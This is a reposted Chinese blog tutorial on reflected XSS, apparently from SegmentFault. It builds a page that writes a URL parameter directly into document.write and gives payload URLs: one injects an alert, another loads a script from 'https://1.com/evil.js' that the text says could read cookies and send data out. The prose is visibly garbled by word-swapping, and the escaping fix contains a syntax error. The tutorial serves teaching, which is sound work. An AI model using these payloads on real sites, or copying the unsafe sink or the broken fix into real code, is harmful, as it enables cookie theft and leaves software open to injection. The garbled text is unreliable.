js跨站剧本

xss
跨站剧本,称为xss这个术语用来示意一类的安全问题,指进击者向目标web站点注入html标签或许剧本。

来一个小栗子

 substring 返回介于两者之间的字符串,假如省去末了一个参数,则直接以length为添补

window.location.search 返回/背面内容包含问号

返回?背面的参数
window.location.search.substring(1)

decodeURIComponent() 将url举行解码,返回解码后的utf-8花样

<!doctype html>
<html>
<head>
    <title>这是题目</title>
    <meta charset="utf-8">
</head>
<body>
    <script>
        var name = decodeURIComponent(window.location.search.substring(1));    // 猎取参数
        console.log(name);
        document.write("hello " + name);
    </script>
</body>
</html>

接见

http://abc.com:8887/?%20word

当地运用web server for chrome 完成了当地静态服务器的搭建,运用host文件,强迫修正home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,因为js剧本不能当地运转,因为有跨域的限定

页面输出

 hello word 

这是一个灰常正派的页面。
下面假如尝试输入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事实上如今的浏览器很智能了。。已自动剖析了。已自动停息剖析了,末了加上%3e被浏览器阻拦,自动的,去掉今后,因为容错机制,自动天生
好吧,要不是这容错机制,xss还没法试验呢。无法,如今太智能了,小白的手段,已不可喽

<script>
</script>

致使能许可。好吧,去掉自动阻拦,chrome直接制止接见了。╮(╯▽╰)╭
https://developer.mozilla.org…
运用的是预剖析,自动均衡树

此时script变身成为

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就会涌现一个弹窗,David
因为运用这个url自动天生一个别的一个剧本,因为浏览器自动的安全措施,所以运用浏览器页面预剖析,写一个不均衡的树,初始浏览器剖析的时刻自动添加上

<script>
</script>

事实上,如今基本上都邑屏蔽掉的,和sql注入一样,都是异常小白的进击手段。╮(╯▽╰)╭

致使涌现弹窗,xss完成
接着下面另有
运用src引入一个剧本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

如许就完成了一次剧本的注入。会将其他站点的剧本,经由过程衔接举行注入。
可以对该站点的内容做任何的操纵,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是如许干的,在页面中到场js剧本,经由过程变动页面的js来到达对页面修正的目标

更多内容 https://www.ibm.com/developer…

防备

经由过程运用replace()悉数替换为实体即可。

name = name.replace(/</g, "&lt;"),replace(/>/g, "&gt;");

总结

xss和sql注入一样,属于小白进击法,要说简朴也很简朴,要说难也很难

拒绝服务进击

假如一个站点无穷弹窗,浏览器会卡死。包含运用js挖矿什么的,都不值得一提了。

    原文作者:小小____
    原文地址: https://segmentfault.com/a/1190000015868449
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞